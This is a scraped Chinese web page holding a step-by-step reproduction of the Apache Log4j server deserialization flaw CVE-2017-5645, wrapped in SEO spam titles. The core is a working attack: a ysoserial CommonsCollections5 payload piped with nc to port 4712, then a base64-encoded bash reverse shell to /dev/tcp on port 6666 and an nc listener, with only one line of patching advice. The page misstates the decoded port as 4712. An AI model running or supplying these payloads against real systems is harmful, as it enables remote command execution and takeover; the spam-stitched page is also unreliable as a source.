当前位置: 首页 > news >正文

白银做网站网店推广软文范例

白银做网站,网店推广软文范例,seo网站关键词,高性能网站建设进阶文章目录 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)1.1 漏洞描述1.2 漏洞复现1.2.1 环境启动1.2.2 漏洞验证1.2.3 漏洞利用 1.3 加固建议 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645) 1.1 漏洞描述…

文章目录

  • Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
    • 1.1 漏洞描述
    • 1.2 漏洞复现
      • 1.2.1 环境启动
      • 1.2.2 漏洞验证
      • 1.2.3 漏洞利用
    • 1.3 加固建议

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

1.1 漏洞描述

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

说明内容
漏洞编号CVE-2017-5645
漏洞名称Apache Log4j Server 反序列化命令执行漏洞
漏洞评级高危
影响范围Apache Log4j 2.8.2之前的2.x版本
漏洞描述Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

1.2 漏洞复现

1.2.1 环境启动

image-20231011212552558

1.2.2 漏洞验证

使用nmap工具扫描开放的端口

image-20231011212827813

可以看到4712端口是正常开启的。

使用ysoserial生成payload,然后直接发送给192.168.188.185:4712端口即可。

ysoserial是什么?

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

ysoserial项目地址:

https://github.com/frohoff/ysoserial

下载后打包成jar文件进行使用。

执行命令

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.188.185 4712

image-20231014142922046

执行命令进入容器

sudo docker exec -it [容器id] /bin/bash

image-20231014143048024

执行命令

cd tmp

进入tmp文件夹,查看目录文件,可以看到testsuccess文件,可见touch /tmp/testsuccess执行成功。

image-20231014143127978

1.2.3 漏洞利用

只需要将命令替换成反弹shell的命令,就能够成功弹回shell。

bash -i >& /dev/tcp/192.168.188.185/6666 0>&1

将构造的payload进行base64加密。

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx

image-20231014143732992

kali开启监听

nc -lnvp 6666

image-20231014143853966

再开启一个新的终端,输入如下内容。

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.188.185 4712

命令解析:

  • bash -c:这个选项告诉 Bash 执行后面的一系列命令。
  • {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}:这是一个经过 Base64 编码的命令字符串,解码后为bash -i >& /dev/tcp/192.168.188.185/4712 0>&1。意思是将 Bash 的输入和输出重定向到指定的 IP 地址和端口。
  • {base64,-d}:这个命令使用 base64 工具进行 Base64 解码。
  • {bash,-i}:这个命令会执行解码后的 Bash 命令,即与指定的 IP 地址和端口建立一个交互式的 Shell 连接。

image-20231014144159746

反弹成功

image-20231014144147427

能够正确执行命令,shell反弹成功

image-20231014144706974

1.3 加固建议

更新到最新版本

http://www.yayakq.cn/news/827511/

相关文章:

  • 如何让网站快速被收录阜阳网站建设
  • 2019年做网站还有机会吗兰州做网站企业
  • 商务网站建设与维护试卷asp网站开发的开发环境
  • 学院网站建设通知市场监督管理局举报电话
  • 泰安房价走势图外包网站怎么做seo
  • 怎么建网站路由 拦截 网站开发
  • 希望小学学校网站建设方案国内最新新闻消息今天的
  • 网站后台文章编辑不了农特产品网站建设合同模板
  • 男女做污视频在线观看网站装饰行业网站模板
  • 锦州做网站wordpress 数据库链接
  • 如何替换网站ico图标湖南自驾旅游与房车协会
  • 南昌网站设计怎么选教育 企业 重庆网站建设
  • 西部空间怎样上传网站各大网站地区是怎样和做的
  • 网站的经营推广北京怎么建设网站
  • 网站做一下301跳转开网页慢是什么原因
  • 公司网站如何制作价格外贸服装网站模板
  • 阿里云建设网站能干嘛软件设计师网站有哪些
  • 重庆网站设计重庆最加科技零食类营销网站怎么做
  • 清远网站建设江苏国智建设有限公司网站
  • 网站的建设时间湖南知名网络推广公司
  • 中国制造网官方网站入口综合网站推广的含义
  • 做网站卖流量建设网站的语言
  • 影视作品网站开发与设计南通seo公司网站
  • 企业网站建设公司那家好什么网站可以接图做图
  • 重庆网站seo设计江门模板建站定制网站
  • 长沙网站到首页排名重庆制作网站模板建站公司
  • 井冈山网站建设网站内容
  • 东莞如何搭建网站建设学校网站开发需求
  • vps 建网站网站侧边栏怎么做
  • 网站开发技术html5wordpress 夜间模式